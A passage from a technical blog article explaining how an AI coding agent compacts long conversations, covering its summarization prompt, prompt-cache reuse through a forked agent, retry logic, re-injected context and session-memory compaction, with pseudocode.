&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CRITICAL: Respond with TEXT ONLY. Do NOT call any tools.
- Do NOT use Read, Bash, Grep, Glob, Edit, Write, or ANY other tool.
- Tool calls will be REJECTED and will waste your only turn — you will fail the task.
- Your entire response must be plain text: an &amp;lt;analysis&amp;gt; block followed by a &amp;lt;summary&amp;gt; block.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This preamble appears at both the START and END of the prompt (dual-instruction pattern). Why? Models with adaptive thinking sometimes attempt tool calls during summarization despite single instructions. The duplication makes non-compliance less likely.&lt;/p&gt;

&lt;p&gt;The prompt then requires nine specific sections in the summary:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Primary Request and Intent&lt;/strong&gt; — All explicit user requests and intents, in detail.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Key Technical Concepts&lt;/strong&gt; — Important technologies, frameworks, and architectural decisions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Files and Code Sections&lt;/strong&gt; — Every file examined, modified, or created, with full code snippets and rationale.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Errors and Fixes&lt;/strong&gt; — Every error encountered and how it was resolved.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Problem Solving&lt;/strong&gt; — Problems solved and ongoing troubleshooting approaches.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;All User Messages&lt;/strong&gt; — ALL non-tool-result user messages. Critical for understanding feedback and corrections.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pending Tasks&lt;/strong&gt; — Explicitly requested tasks that haven't been completed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Current Work&lt;/strong&gt; — Precise detail of work immediately before summarization, with filenames and code snippets.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Optional Next Step&lt;/strong&gt; — The next step in line with recent requests, with direct quotes showing task status.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Section 6 ("All user messages") is the most unusual. Summarization typically abstracts away individual messages. But user messages contain corrections ("no, I meant X"), preferences ("always use bun"), and implicit context that a summary might smooth over. Preserving them verbatim prevents the model from drifting away from what the user actually said.&lt;/p&gt;

&lt;p&gt;Section 9 requires "direct quotes" from the conversation to justify the suggested next step. This prevents task drift — without quotes, the model might hallucinate a next step that wasn't actually in progress.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Analysis Scratchpad
&lt;/h3&gt;

&lt;p&gt;The prompt asks for TWO blocks: &lt;code&gt;&amp;lt;analysis&amp;gt;&lt;/code&gt; then &lt;code&gt;&amp;lt;summary&amp;gt;&lt;/code&gt;. The analysis block is a drafting scratchpad — the model walks through the conversation chronologically, identifying requests, decisions, code changes, and errors. This structured thinking improves the quality of the summary that follows.&lt;/p&gt;

&lt;p&gt;But the analysis block is stripped before delivery. &lt;code&gt;formatCompactSummary&lt;/code&gt; removes everything between &lt;code&gt;&amp;lt;analysis&amp;gt;&lt;/code&gt; tags, extracts the &lt;code&gt;&amp;lt;summary&amp;gt;&lt;/code&gt; content, and replaces the tags with a "Summary:" header. The user never sees the scratchpad. It exists purely to improve the summary via chain-of-thought reasoning.&lt;/p&gt;

&lt;h3&gt;
  
  
  Prompt Cache Sharing
&lt;/h3&gt;

&lt;p&gt;The summarization call sends the entire conversation as context. Normally this means re-tokenizing everything — expensive. But the main conversation's prompt prefix (system prompt, tools, early messages) is already cached from the most recent API call.&lt;/p&gt;

&lt;p&gt;The system uses a "forked agent" to reuse this cache. The fork inherits the main conversation's cached parameters (system prompt, tool definitions, user context) and sends them as identical cache-key parameters, so the summarization call gets a cache hit on the shared prefix. The remaining messages (the ones being summarized) are the only new tokens.&lt;/p&gt;

&lt;p&gt;A critical constraint: the fork must NOT set &lt;code&gt;maxOutputTokens&lt;/code&gt;. Setting it would clamp the thinking budget via a formula in the API client, creating a thinking config mismatch that invalidates the cache key. The forked agent uses the model's default output limit. Since compaction is capped at one turn (&lt;code&gt;maxTurns: 1&lt;/code&gt;), the output naturally stays within bounds.&lt;/p&gt;

&lt;p&gt;The fork also skips writing to the prompt cache (&lt;code&gt;skipCacheWrite: true&lt;/code&gt;) — its response is ephemeral and caching it would waste cache creation tokens. The fork's tool permissions are locked to deny-all (&lt;code&gt;createCompactCanUseTool&lt;/code&gt;), ensuring the model produces only text, never tool calls.&lt;/p&gt;

&lt;p&gt;If the fork fails, the system falls back to a direct streaming call with the compact-specific output cap (20K tokens). Telemetry tracks the cache hit rate to monitor effectiveness — a 98% miss rate in the fork path would cost ~0.76% of fleet-wide cache creation, concentrated in ephemeral environments with cold caches.&lt;/p&gt;

&lt;p&gt;During the summarization call, the system sends keep-alive signals every 30 seconds — a session activity signal plus a "compacting" status update. This prevents WebSocket timeouts in IDE integrations where the compaction call might take 30-60 seconds for large conversations.&lt;/p&gt;

&lt;h3&gt;
  
  
  Hooks
&lt;/h3&gt;

&lt;p&gt;The compaction system fires four hook events that users can subscribe to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;PreCompact&lt;/strong&gt; — runs before summarization. Returns optional custom instructions that are merged with the user's instructions. User instructions come first, hook instructions appended.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PostCompact&lt;/strong&gt; — runs after compaction completes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SessionStart&lt;/strong&gt; — runs after compaction to re-trigger initialization logic (CLAUDE.md reload, etc.).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These hooks allow plugins and IDE integrations to inject context, clear their own caches, or perform cleanup. Hook results are included in the post-compact message array as &lt;code&gt;hookResults&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Three Prompt Variants
&lt;/h3&gt;

&lt;p&gt;The system has three compaction modes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Full compact&lt;/strong&gt;: Summarize the entire conversation. Used by auto-compact and &lt;code&gt;/compact&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Partial compact ("from")&lt;/strong&gt;: Summarize only messages after a selected point, preserving earlier messages. Preserves the prompt cache (early messages stay).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Partial compact ("up_to")&lt;/strong&gt;: Summarize messages before a selected point, keeping later messages. Invalidates the prompt cache (the kept messages move to the end).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The "from" variant adds: "Earlier retained messages are NOT re-summarized." The "up_to" variant changes section 8 from "Current Work" to "Work Completed" and adds "Context for Continuing Work" — since newer messages follow the summary, the summary needs to set up context rather than continue work.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Prompt-Too-Long Retry Loop
&lt;/h2&gt;

&lt;p&gt;Sometimes the conversation is so large that the compaction request itself exceeds the context window. The system handles this with a retry loop:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;attempt&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="mf"&gt;1.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;MAX_PTL_RETRIES &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;stream&lt;/span&gt; &lt;span class="n"&gt;summary&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;
  &lt;span class="n"&gt;catch&lt;/span&gt; &lt;span class="n"&gt;PromptTooLong&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;messages&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;truncateHeadForPTLRetry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;errorResponse&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;messages&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="n"&gt;throw&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Conversation too long. Press esc twice to go up a few messages and try again.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;truncateHeadForPTLRetry&lt;/code&gt; groups messages by API round (one group per model response with its tool results). It calculates how many tokens to drop based on the error response's token gap. If the gap is unparseable (some Vertex/Bedrock error formats), it falls back to dropping 20% of groups. It drops the oldest groups first.&lt;/p&gt;

&lt;p&gt;A subtle self-referential bug was fixed: the function strips its own synthetic marker from a previous retry before grouping. Otherwise the marker becomes its own group at index 0, and the 20% fallback stalls — it drops only the marker, re-adds it on the next retry, and makes zero progress. The fix checks if the first message is the marker (by content match and &lt;code&gt;isMeta&lt;/code&gt; flag) and strips it before grouping.&lt;/p&gt;

&lt;p&gt;If the truncated messages would start with an assistant message (violating the API's alternation requirement), a synthetic user message is prepended: &lt;code&gt;[earlier conversation truncated for compaction retry]&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If ALL groups would need to be dropped (nothing left to summarize), the function returns null and the user sees an error message suggesting they press Escape to go back a few messages.&lt;/p&gt;

&lt;h2&gt;
  
  
  Post-Compact: What Survives the Boundary
&lt;/h2&gt;

&lt;p&gt;After summarization, the old messages are replaced wholesale. The new message array is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="nx"&gt;boundaryMarker&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;        &lt;span class="c1"&gt;// System message marking the compaction point&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;summaryMessages&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="c1"&gt;// The formatted summary as a user message&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;messagesToKeep&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;     &lt;span class="c1"&gt;// Preserved messages (partial compact only)&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;attachments&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;        &lt;span class="c1"&gt;// Re-injected context&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;hookResults&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;        &lt;span class="c1"&gt;// User hook output&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The Boundary Marker
&lt;/h3&gt;

&lt;p&gt;A system message that records metadata about the compaction:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;trigger&lt;/strong&gt;: "manual" (user ran &lt;code&gt;/compact&lt;/code&gt;) or "auto" (threshold exceeded)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;preTokens&lt;/strong&gt;: token count before compaction (for analytics)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;messagesSummarized&lt;/strong&gt;: how many messages were replaced&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;logicalParentUuid&lt;/strong&gt;: UUID of the last pre-compact message (enables fork/rewind to find the original conversation)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;preCompactDiscoveredTools&lt;/strong&gt;: tool names seen before compaction (for re-announcing)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;preservedSegment&lt;/strong&gt;: head/anchor/tail UUIDs (for partial compact message relinking)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The boundary is the anchor point. Everything before it is gone (replaced by the summary). Everything after it is the new conversation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cache Break Detection
&lt;/h3&gt;

&lt;p&gt;After compaction, the prompt cache baseline is stale. The token count drops legitimately — old messages were replaced with a shorter summary. Without intervention, the cache break detection system would see the drop in &lt;code&gt;cache_read_input_tokens&lt;/code&gt; and flag a "cache break" warning.&lt;/p&gt;

&lt;p&gt;The fix: &lt;code&gt;notifyCompaction()&lt;/code&gt; resets the previous cache read baseline to null. The next API call establishes a fresh baseline. The detection system compares subsequent calls against this new baseline, ignoring the compaction-induced drop.&lt;/p&gt;

&lt;p&gt;The cache break detector itself uses dual thresholds: a drop must be both &amp;gt;5% of the previous cache read AND &amp;gt;2,000 tokens to be flagged. Small fluctuations from server-side cache management are ignored.&lt;/p&gt;

&lt;h3&gt;
  
  
  Re-Injected Attachments
&lt;/h3&gt;

&lt;p&gt;The system generates attachments in parallel to restore context that the summary might have compressed too aggressively:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Recently-read files&lt;/strong&gt; — The 5 most recently accessed files are re-read with fresh content (not cached — the file may have changed since it was first read). Each file is capped at 5,000 tokens, with a total budget of 50,000 tokens. Plan files and memory files (CLAUDE.md) are excluded — they have their own injection paths via the system prompt.&lt;/p&gt;

&lt;p&gt;The file selection uses recency ordering from the file read state tracker. Files already present in preserved messages (partial compact) are skipped to avoid duplication. The deduplication scans preserved messages for Read tool_use blocks and collects their file paths. It also skips files that had the "FILE_UNCHANGED" stub (a deduplication marker that points at an earlier full read of the same file).&lt;/p&gt;

&lt;p&gt;Each file is re-read via the actual File Read tool at restoration time. This means the restored content reflects the file's CURRENT state, not its state when it was first read. If the model edited a file 30 turns ago and the file was later modified by other tools, the post-compact restoration shows the latest version.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Active skills&lt;/strong&gt; — Skills invoked during the session are preserved, sorted most-recent-first. Each skill is capped at 5,000 tokens (truncated with a marker telling the model it can re-read the full content). Total budget: 25,000 tokens.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Plan file&lt;/strong&gt; — If a plan exists for the current session, it's re-injected as an attachment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Plan mode&lt;/strong&gt; — If the user is currently in plan mode, an attachment ensures the model continues in plan mode after compaction.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Async agent status&lt;/strong&gt; — Background agents that are still running or recently finished get status attachments. This prevents the model from spawning duplicate agents after losing the original creation context.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tool deltas&lt;/strong&gt; — The full tool set is re-announced. After compaction, the model needs to know what tools are available — the original tool announcements from earlier in the conversation are gone.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MCP instructions&lt;/strong&gt; — Model Context Protocol tool instructions are re-injected for any MCP servers with deferred tool loading.&lt;/p&gt;

&lt;h3&gt;
  
  
  Post-Compact Cleanup
&lt;/h3&gt;

&lt;p&gt;After compaction, 10+ caches are cleared because their contents reference pre-compact state:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Microcompact tracking state (tool IDs no longer valid)&lt;/li&gt;
&lt;li&gt;User context cache (forces CLAUDE.md reload and InstructionsLoaded hook)&lt;/li&gt;
&lt;li&gt;Memory file cache (allows fresh memory file detection)&lt;/li&gt;
&lt;li&gt;System prompt sections (may reference pre-compact state)&lt;/li&gt;
&lt;li&gt;Classifier approvals (permissions may have changed)&lt;/li&gt;
&lt;li&gt;Bash permission speculative checks (stale command analysis)&lt;/li&gt;
&lt;li&gt;Session messages cache (old messages gone)&lt;/li&gt;
&lt;li&gt;Beta tracing state&lt;/li&gt;
&lt;li&gt;File content cache (for commit attribution)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The cleanup is careful about main-thread vs. subagent scope. Subagents run in the same process and share module-level state with the main thread. Clearing state during a subagent compaction would corrupt the main thread. The cleanup checks the query source prefix (&lt;code&gt;repl_main_thread&lt;/code&gt; or &lt;code&gt;sdk&lt;/code&gt;) before resetting shared state.&lt;/p&gt;

&lt;p&gt;One deliberate non-clear: the set of sent skill names. Re-injecting the full skill listing post-compact costs ~4,000 tokens of pure cache creation. The model still has the skill tool in its schema, and the invoked_skills attachment preserves content for used skills. Skipping re-injection saves tokens on every compaction.&lt;/p&gt;

&lt;h2&gt;
  
  
  Auto-Compact Orchestration
&lt;/h2&gt;

&lt;p&gt;The auto-compact flow ties everything together:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;autoCompactIfNeeded&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;consecutiveFailures&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;circuit&lt;/span&gt; &lt;span class="nx"&gt;breaker&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;not&lt;/span&gt; &lt;span class="nf"&gt;shouldAutoCompact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;

  &lt;span class="c1"&gt;// Try session memory compaction first (cheap, no model call)&lt;/span&gt;
  &lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;trySessionMemoryCompaction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nx"&gt;cleanup&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;success&lt;/span&gt;

  &lt;span class="c1"&gt;// Fall back to full compaction (expensive, model call)&lt;/span&gt;
  &lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;compactConversation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;suppressFollowUpQuestions&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;isAutoCompact&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nx"&gt;cleanup&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;reset&lt;/span&gt; &lt;span class="nx"&gt;failures&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;success&lt;/span&gt;

  &lt;span class="c1"&gt;// Failure: increment circuit breaker&lt;/span&gt;
  &lt;span class="nx"&gt;consecutiveFailures&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;consecutiveFailures&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nx"&gt;log&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;circuit breaker tripped&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When auto-compact triggers, it suppresses follow-up questions. The model receives: "Continue without asking user further questions. Resume directly — do not acknowledge summary, do not recap, do not preface. Pick up last task as if break never happened." This prevents the jarring experience of the model suddenly asking "Would you like me to continue?" mid-task.&lt;/p&gt;

&lt;p&gt;In autonomous/proactive mode, the continuation message is even stronger: "You are running in autonomous mode. This is NOT first wake-up. Continue work loop — pick up where you left off. Do not greet or ask what to work on."&lt;/p&gt;

&lt;p&gt;For manual &lt;code&gt;/compact&lt;/code&gt;, the user can provide custom instructions (e.g., "focus on the authentication work") that are appended to the summarization prompt.&lt;/p&gt;

&lt;h3&gt;
  
  
  Recompaction Tracking
&lt;/h3&gt;

&lt;p&gt;The system tracks compaction chains — situations where auto-compact fires, the conversation grows past the threshold again, and auto-compact fires a second time. Each compaction records:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Whether this is a recompaction in a chain&lt;/li&gt;
&lt;li&gt;Turns since the previous compaction&lt;/li&gt;
&lt;li&gt;The previous compaction's turn ID&lt;/li&gt;
&lt;li&gt;The auto-compact threshold that triggered it&lt;/li&gt;
&lt;li&gt;The query source that was active when triggered&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This metadata feeds into telemetry for monitoring compaction quality. If compaction produces summaries that are too verbose (consuming too many tokens), the conversation will recompact quickly — a signal that the summarization prompt needs tuning.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tier 3: Session Memory Compact
&lt;/h2&gt;

&lt;p&gt;Full compaction is expensive — it sends the entire conversation to the model and waits for a summary. Session memory compaction is an experimental alternative that skips the model call entirely.&lt;/p&gt;

&lt;h3&gt;
  
  
  How Session Memory Works
&lt;/h3&gt;

&lt;p&gt;Throughout the conversation, a background process periodically extracts "session memory" — a structured markdown file with sections like Current State, Task Specification, Files and Functions, Errors &amp;amp; Corrections, and a Worklog.&lt;/p&gt;

&lt;p&gt;The extraction triggers based on two conditions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;trigger&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tokenGrowth&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;minimumTokensBetweenUpdate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
          &lt;span class="nc"&gt;AND &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;toolCalls&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;toolCallsBetweenUpdates&lt;/span&gt; &lt;span class="n"&gt;OR&lt;/span&gt; &lt;span class="n"&gt;noToolCallsInLastTurn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The extraction runs in a forked subagent — isolated from the main conversation, using the API's cache-safe parameters to avoid polluting the main prompt cache. The forked agent can ONLY use the file edit tool, and only on the session memory file. It reads the current notes, the recent conversation, and updates the file.&lt;/p&gt;

&lt;p&gt;Section sizes are enforced: 2,000 tokens per section, 12,000 tokens total. If a section exceeds its limit, the extraction prompt includes a reminder to condense. This prevents the session memory file from growing without bound.&lt;/p&gt;

&lt;h3&gt;
  
  
  Using Session Memory for Compaction
&lt;/h3&gt;

&lt;p&gt;When auto-compact triggers, it tries session memory compaction first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;trySessionMemoryCompaction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;feature&lt;/span&gt; &lt;span class="nx"&gt;disabled&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;no&lt;/span&gt; &lt;span class="nx"&gt;session&lt;/span&gt; &lt;span class="nx"&gt;memory&lt;/span&gt; &lt;span class="nx"&gt;file&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;session&lt;/span&gt; &lt;span class="nx"&gt;memory&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;empty&lt;/span&gt; &lt;span class="nx"&gt;template&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;

  &lt;span class="nx"&gt;wait&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;any&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;progress&lt;/span&gt; &lt;span class="nx"&gt;extraction&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;complete&lt;/span&gt;

  &lt;span class="nx"&gt;calculate&lt;/span&gt; &lt;span class="nx"&gt;which&lt;/span&gt; &lt;span class="nx"&gt;messages&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nf"&gt;keep &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;most&lt;/span&gt; &lt;span class="nx"&gt;recent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;meeting&lt;/span&gt; &lt;span class="nx"&gt;minimum&lt;/span&gt; &lt;span class="nx"&gt;thresholds&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="nx"&gt;adjust&lt;/span&gt; &lt;span class="nx"&gt;keep&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;preserve&lt;/span&gt; &lt;span class="nx"&gt;API&lt;/span&gt; &lt;span class="nf"&gt;invariants &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tool_use&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="nx"&gt;pairs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;thinking&lt;/span&gt; &lt;span class="nx"&gt;blocks&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

  &lt;span class="nx"&gt;create&lt;/span&gt; &lt;span class="nx"&gt;compaction&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="nx"&gt;using&lt;/span&gt; &lt;span class="nx"&gt;session&lt;/span&gt; &lt;span class="nx"&gt;memory&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;summary&lt;/span&gt;
  &lt;span class="nx"&gt;estimate&lt;/span&gt; &lt;span class="nx"&gt;post&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;compact&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="nx"&gt;count&lt;/span&gt;

  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;postCompactTokens&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="nx"&gt;autoCompactThreshold&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;  &lt;span class="c1"&gt;// Would immediately re-trigger&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The "messages to keep" calculation balances recency against token budget:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
